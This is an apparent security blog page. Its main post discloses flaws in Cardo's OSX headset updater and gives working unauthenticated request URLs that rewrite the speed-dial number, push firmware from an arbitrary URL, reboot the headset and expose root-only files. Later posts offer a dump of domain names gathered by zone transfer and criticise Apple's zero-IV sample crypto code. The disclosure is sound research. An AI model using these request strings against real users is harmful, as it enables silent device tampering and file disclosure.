Tue Jun 3 11:17:25 CEST 2014

Ride With The Devil

One of my beloved hobbies is to ride my motorcycle together with my wife and to travel around. To increase the communication abilities I was looking for a decent Bluetooth intercom kit. There are three main players in this market. Cardo systems (http://www.cardosystems.com) is one of the most recognisable brands in this part of the world.

The main features I was looking for were sound quality, compatibility and upgradeability of the firmware to get fixes and features. After researching a bit, I decided to go with a scala rider Q3 (http://www.cardosystems.com/motorcycles/scala-rider-q3) which is a mid-class product with nice features.

First of all, operationally and functionally I really do like this system. It has good quality at a fair price. But thats pretty much all. It is a completely different story when it comes to security.

According to the manual, the website cardosystems.com/upgrade can be accessed to get the required software and to configure the Q3's settings. After having access to the community, I could download the required cardo-updater software, which is available for Windows and OSX. So I download the OSX version (http://community1.cardosystems.com/files/q0/macbcif/Cardo_Updater_1.7.pkg) and installed it.

During the installation, I was informed by my application monitor Hands Off! (https://www.oneperiodic.com/products/handsoff/) that a new binary "cardo-updater" (running as root!) wants to bind itself to TCP port 8080. Wait a minute. Wtf ... listening on port 8080? After further investigation, I recognised that the binary is installed as a LaunchAgent and thus the application is executed as root. Just to make this clear - I just installed a service running as root and listening on port 8080 on every interface of my computer -- what could possibly go wrong?

 sudo lsof -i | grep LISTEN | grep -i cardo
 cardo-upd 37333           root    7u  IPv4 0x95ffbcff24844da1      0t0    TCP *:http-alt (LISTEN)

 $nc -v 127.0.0.1 8080
 found 0 associations
 found 1 connections:
     1:        flags=82
        outif lo0
        src 127.0.0.1 port 57910
        dst 127.0.0.1 port 8080
        rank info not available
        TCP aux info available

 Connection to 127.0.0.1 port 8080 [tcp/http-alt] succeeded!
 GET / HTTP/1.1

 HTTP/1.1 500 Internal error
 Cache: no-cache
 Content-Type: text/plain
 Content-Length: 28

I started a sniffer and the all beloved burp proxy and made sure that I see all the communication going on between this service and anything else. As soon the the cardo-updater service was runing the community website of cardosystems did recognize my Q3 device and displayed a website to configure the individual settings, upgrade the firmware and synch the settings to my actual headset.

After a few minutes, it was obvious that Cardo did something very strange. I played around with the web application and discovered that it works beautiful, but completely insecure! The configuration website basically consists out of a GAZILLION of javascripts building requests, that are sent to the locally installed and running webservice. The main API is available at http://community1.cardosystems.com/application/modules/Headsets/externals/g9/scripts/cardojs.interface.js.

Depending on what setting you change on the Cardo website, a corresponding request will be constructed and executed. The following URL sent to the local running service will set the fast-dial number (0049552222266) on my headset:

 http://XXX.XXX.XXX.XXX/cardo/api?callback=CardoJS.Interface.UniversalCallback&_id=t4Rk79EsoY&data={%22RequestType%22:%22WritePSKey%22,%22PSKey%22:{%22Key_no%22:674,%22Length%22:7,%22Value%22:%223030343935353232323232363600%22},%22RequestID%22:%22t4Rk79EsoY%22}

Yes, I know what your are thinking and yes ... it's completely unauthenticated and the RequestID field is only an identifier used to identify responses in case of asynchronous commands. If you post such an URL to the Cardo community sites ... guess what. Everyone accessing the URL will automatically alter their configuration of the fast-dial number in the attached headset. One could configure an expensive service/dialer number or just changing other settings. - NO way!

Yep and it was even worse - check the following URL:

 http://127.0.0.1:8080/cardo/api?callback=CardoJS.Interface.UniversalCallback&_id=1r&data={%22RequestType%22:%22UpdateFirmware%22,%22CSR%22:%22http://www.modzero.ch/images/modzero-logo.png%22}

This specific request will initiate a firmware update of the device with the firmware image provided as CSR parameter. Everyone able to build a firmware or patch an existing one could distribute it automatically to users clicking the link. CSR is referring to the built-in bluetooth chip. The required IDE as well as the corresponding tools like the BlueSuite can be acquired from CSR or discovered in various download locations. Being an old Bluetooth guy and knowing some bits about the CSR, i know that there are a lot of tools built in into the Bluez framework of Linux. You can interact with the chip using bccmd, pstool or dfutool. The later one allows you to make a backup of your existing firmware of the device.

So to recapitulate, the cardo-updater is basically a webserver to libusb gateway, completely unprotected and unauthenticated, binding to all interfaces, running as root on OSX and as a regular user on windows (at least).

After playing around with the requests and reading some of the JavaScript API, I identified a local privilege escalation that make any file on the computer world readable. By using dtruss I could further identify what happens when cardo-updater processes the firmware update request. See the following attacking URL and the truncated output of dtruss:

Attacking URL: http://127.0.0.1:8080/cardo/api?callback=CardoJS.Interface.UniversalCallback&_id=1r&data={%22RequestType%22:%22UpdateFirmware%22,%22CSR%22:%22file:///etc/master.passwd%22}

write_nocancel(0x1, "Request: {\"RequestType\":\"UpdateFirmware\",\"CSR\":\"file:///etc/master.passwd\"}\n\0", 0x4C)                 = 76 0
write_nocancel(0x1, "Handling request '' of type UpdateFirmware\n\0", 0x2B)                 = 43 0
write_nocancel(0x1, "Synchronized request '' of type UpdateFirmware queued. Waiting completion\n\0", 0x4A)                 = 74 0

open_nocancel("/dev/random\0", 0x0, 0x0)                 = 14 0
lstat64("/var/tmp/tmp.0.kb5LLv\0", 0xB0114688, 0x80)                 = -1 Err#2
open_nocancel("/var/tmp/tmp.0.kb5LLv\0", 0x601, 0x1B6)                 = 12 0
write_nocancel(0x1, "Downloading new CSR firmware from website\n\0", 0x2A)                 = 42 0
open("/etc/master.passwd\0", 0x0, 0x0)                 = 14 0

In line with my assumptions, dtruss showed that the firmware file provided as a parameter to the URL will be "downloaded" into a temporary file and later validated. In this case /var/tmp/tmp.0.kb5LLv. Later in the procedure the update will fail, as this is obviously no valid CSR firmware, but the tempfile is still there and readable fore everyone.

$ ls -las /var/tmp/tmp.0.kb5*
16 -rw-r--r--  1 root  wheel  5633 May 27 11:08 /var/tmp/tmp.0.kb5LLv

$ cat /var/tmp/tmp.0.kb5*
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0::0:0:System Administrator:/var/root:/bin/sh

While master.passwd is not a critical file, it served the purpose well. This piece of crappy software is copying root-only files to the temp location and makes it world-readable!

After playing around a bit with the API and URLs, I wondered what else would work, and what vulnerability would be present. Using strings the following list of commands have been discovered, I added some comments to it:

UpdateFirmware (Initiate a firmware update on CSR chip or the DSP)
GetCurrentStatus (Get the status of the device) 
GetResult (Get a result of a given operation, thats why RequestID is required) 
Echo (Guess what :-)) 
ReadPSKey (Read a PSKey value) 
WritePSKey (Write a PSKey value) 
DeletePSKey (Delete a PSKey value) 
WriteDSPMem (Could not be tested, as my device does not support DSP commands) 
ReadDSPMem (Could not be tested, as my device does not support DSP commands)
ExecuteColdReset (Resets and reboots the device)

So e.g http://127.0.0.1:8080/cardo/api?callback=CardoJS.Interface.UniversalCallback&_id=1r&data={%22RequestType%22:%22ExecuteColdReset%22} will instantly reboot the attached headset.

Using the PSKey commands you can alter the configuration of the device, in fact this can be done using pstools or bccmd under linux as well instead of using this crappy software. I wont explain the concept of PSKey's here. Google for CSR bluecore and PSKey if you like to know more about it. This is a common feature and Cardo uses this to store its configuration values persistently. (E.g. The PSKey with the value 674 (0x02a2) holds the quick dial number.)

So whats next. Well by browsing through the cardo-updater binary using a disassembler, I discovered a strange URL.

http://127.0.0.1:8080/test

The cardo-updater crashed. So after attaching gdb, I learned that it seems to have a NULL pointer issue.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000000
[Switching to process 45870 thread 0x2503]
0x95c26710 in strlen ()
(gdb)
(gdb) bt
#0  0x95c26710 in strlen ()
#1  0x98aa94ca in std::string::operator= ()
#2  0x0003d4ec in Mediator::HandleNewRequest ()
#3  0x0003c954 in Mediator::HandleMongooseNewRequest ()
#4  0x0003c22b in HttpServer::MongooseEventHandler ()
#5  0x0000fea3 in call_user ()
#6  0x000195d0 in handle_request ()
#7  0x00019dce in process_new_connection ()
#8  0x00019fb8 in worker_thread ()
#9  0x901c75fb in _pthread_body ()
#10 0x901c7485 in _pthread_start ()
#11 0x901cccf2 in thread_start ()
(gdb)

In fact the reason for that issue is, that the software is expecting to parse a parameter added to the test URL. See the following example URL: http://127.0.0.1:8080/test?AAAAAA

So as the output of gdb indicates, it is assumed that the cardo-updater wants to conduct a length check on the parameter. If there is no parameter, the pointer will be NULL and thus the memory access to 0x000000 will happen and the application will crash. Cardo, what is wrong? To difficult to check the number of arguments?

This software takes your computer system at risk by opening a unauthenticated, unencrypted listening port on all interfaces and binding a fragile pice of software to it. Everyone with this software running and the headset attached can be a target of a drive-by style firmware upgrade or reconfiguration of their headset.

The vendor has been informed about this blogpost and the software is removed from my systems. Everyone with the cardo-updater installed should do the same.

Hey cardosystems, fix your stuff.

P.S. I don't have any insights on they G9x headsets and their software. There is an Android and an iOS application available but I didn't investigated anything there, as my Q3 is not supported. Feel free to send me a G9x and I might check it out.


Posted by Max Moser | Permanent link

Tue Feb 21 19:35:56 CET 2012

Content Transfer Done

We did transfer the content from our old system to the new layout. Please drop us an E-Mail if you discover missing content or broken links.

We transfered the following content:


Posted by remote-exploit.org | Permanent link

2012-01-09 15:15:00

Collected 1st & 2nd Level Domains

Every now and then, I go through the domain names like most of us. In late 2009-2011 the following top level domains allowed domain transfers:

AC,AG,AL,AN,AO,ARPA,AW,BA,BD,BI,BJ,BM,BN,BS,BV
CI,CU,CV,DE,ER,GD,GE,GN,GOV,GQ,GT,GY,IN,INT,IO
JM,JO,KE,KG,KH,KI,KZ,LB,LC,LK,LR,MA,MD,MG,MH,MP
MR,MT,MW,NE,NF,NG,NI,NP,PE,PF,PG,PW,PY,SH,SJ,SK
SL,SN,SO,SR,SV,SZ,TC,TJ,TM,TN,TRTZ,UG,UK,UY,VG
VI,YE,YU,ZW

After having the files on my disk without beeing used too much lately, I decided to put second-level-subdomain-transfers.txt.tgz up on our website ready for download.

You should be warned, second-level-subdomain-transfers.txt.tgz is about 55 Megabytes of compressed text and contains all the gathered 1st and 2nd level domain names. A lot of the domains are not updated since late 2009 but the information is still useful for statistics or 3rd level gathering etc.

Feel free to send me updates and/or third level domain scan results etc.


Posted by remote-exploit.org | Permanent link

Mon Jan 9 01:38:27 CET 2012

New Hosting, Simpler Layout

As we move from one hoste to another, we also took the chance to further slim down the website and simplify the layout. If you miss a certain content, you might have to be patient drop us an E-Mail or be patient until we moved it to the new location.

Posted by remote-exploit.org | Permanent link

Mon Jan 9 00:16:33 CET 2012

The Apple Idioten Vektor (IV)

We all agree that crypto is important and therefore should be left to the experts. Well, kind of. This "expert" thing is probably the most extensively construed thing in the world of IT security. We all know, that we have a vast amount of "experts" out there.

Apple still ignores the fact that Objective-C and Cocoa is the new PHP. Most iOS programmers ain't reflect anything that has been told to them - functionality matters, what else. You'll become a super-hero in your company if you have proven to be able adding security to your Apps! Fortunately, Apple provides a crypto library that isn't that complicated, so even your 17 years old iOS expert student is able to generate new buzzwords for your portfolio & keynote slides, hence more $$$.

So... let's call this thing that Apple must take care of:

Responsibility

Responsibility regarding how secure and safe their software is, how unambiguous their application programming interfaces should look like, and how it is published and documented.
Apple provides documentation to their APIs in their online iOS and OSX Developer Library. They also have some crypto stuff available here, let's have a look at the CryptoExercise - sounds promising to get a brief understanding about their high level crypto API:

This sample demonstrates the use of the two main Cryptographic API sets on the iPhone OS SDK. Asymmetric Key Encryption and random nonce generation is handled through the Security framework API set, whereas, Symmetric Key Encryption and Digest generation is handled by the CommonCrypto API set. The CryptoExercise sample brings both of these APIs together through a network service, discoverable via Bonjour, that performs a "dummy" cryptographic protocol between devices found on the same subnet. Link: Apple Crypto Exercise

The CryptoExercise is the official "Related Sample Code" when it comes to "Secure Coding" and e.g. to the "Certificate, Key, and Trust Services Reference".

They also provide a man-page for their "Common Crypto Interface" CCCryptor(3cc):

  CCCryptorCreate, CCryptorCreateFromData, CCCryptorRelease,
  CCCryptorUpdate, CCCryptorFinal, CCCryptorGetOutputLength,
  CCCryptorReset, CCCrypt -- Common Cryptographic Algorithm Interfaces

Using the CCCryptor, one can use common sounding functions such as CCCryptorCreate, CCCryptorUpdate, CCCryptorFinal (or simply CCCrypt() one-shot function) to perform symmetric encryption using different algorithms like AES, 3DES and hardcore security ciphers like RC4, DES, etc.

Apple supports ECB and CBC mode for their ciphers, and fortunately a developer really needs to explicitly prove stupidity by using ECB since APIs default to CBC, the Cipher Block Chaining mode. What could possibly go wrong? Right, there is some minor thing that is called the "IV". Apple supposedly translated the acronym IV to "Ignorance Vector" when writing their Common Crypto API man-pages, but we should read "Initialization Vector" - used to initialize the very first block of cipher text.

You can easily learn (even on Wikipedia), that IVs must be unique for any message encrypted with a given key. And also, that an IV must be unpredictable to avoid several types of cryptographic attacks. That's pretty well known, and there is exactly no single use case for an IV initialized entirely with zeros.

And this is how they describe their API and especially the usage of the IV:

Another option for block ciphers is Cipher Block Chaining, known as CBC mode. When using CBC mode, an Initialization Vector (IV) is provided along with the key when starting an encrypt or decrypt operation. If CBC mode is selected and no IV is provided, an IV of all zeroes will be used.

Instead of simply returning ENOBRAIN, they initialize the IV with zeros without any warning. This is so damn unique and unpredictable, you can't make this up.

In their header files they call the Initialization Vector "optional":

@param	iv	Initialization vector, optional. Used by 
		block ciphers when Cipher Block Chaining (CBC) 
		mode is enabled. If present, must be the same
		length as the selected algorithm's block size. 
		If CBC mode is selected (by the absence of the 
		kCCOptionECBMode bit in the options flags) and no 
		IV is present, a NULL (all zeroes) IV will be used. 
		This parameter is ignored if ECB mode is used or
		if a stream cipher algorithm is selected.
...
CCCryptorStatus CCCryptorCreate(
	CCOperation op,             /* kCCEncrypt, etc. */
	CCAlgorithm alg,            /* kCCAlgorithmDES, etc. */
	CCOptions options,          /* kCCOptionPKCS7Padding, etc. */
	const void *key,            /* raw key material */
	size_t keyLength,	
	const void *iv,             /* optional initialization vector */
	CCCryptorRef *cryptorRef);  /* RETURNED */
...

and the sample code looks like that:

...
uint8_t iv[kChosenCipherBlockSize];
memset((void *) iv, 0x0, (size_t) sizeof(iv));
...
// Create and Initialize the crypto reference.
ccStatus = CCCryptorCreate( encryptOrDecrypt, 
                            kCCAlgorithmAES128, 
                            *pkcs7, 
                            (const void *)[symmetricKey bytes], 
                            kChosenCipherKeySize, 
                            (const void *)iv, 
                            &thisEncipher
                        );
...

At least they fail consistently.

Well done, Apple. Now imagine those guys that i have mentioned above, super special experts on iOS and OSX application security and crypto. They will use your documentation, your notes & hints and they will also use your official sample code. And nobody will ever question, what you have told them. Now, go ahead and watch github projects forking like hell, using your broken code! This simple mistake might increase for a decent period of time due to code copy & paste mentality in iOS/OSX open source projects. Maybe even your recently featured, closed source OSX AppStore application that safely stores passwords, follow your guidelines :-)

Wait! There is more!

There are people out there, who are abusing dead trees to spread the word. Using Google Books, i found two books, covering OSX/iOS application security and also crypto. 50 % of those books simply made it wrong as you did, Apple, fifty per cent. "Professional Cocoa Application Security By Graham J. Lee" did it right, this book is on "Amazon Best Sellers Rank: #527,874". The following book did it wrong: "Pro Core Data for IOS: Data Access and Persistence Engine for iPhone, iPad, and iPod touch" [sic!] By Michael Privat, Robert Warner - Chapter "Using Core Data in Advanced Applications - Creating an Application for Note and Password Storage and Encryption" - and guess what: "Amazon Best Sellers Rank: #289,601"

It's a mess.

Posted by remote-exploit.org | Permanent link | File under: crypto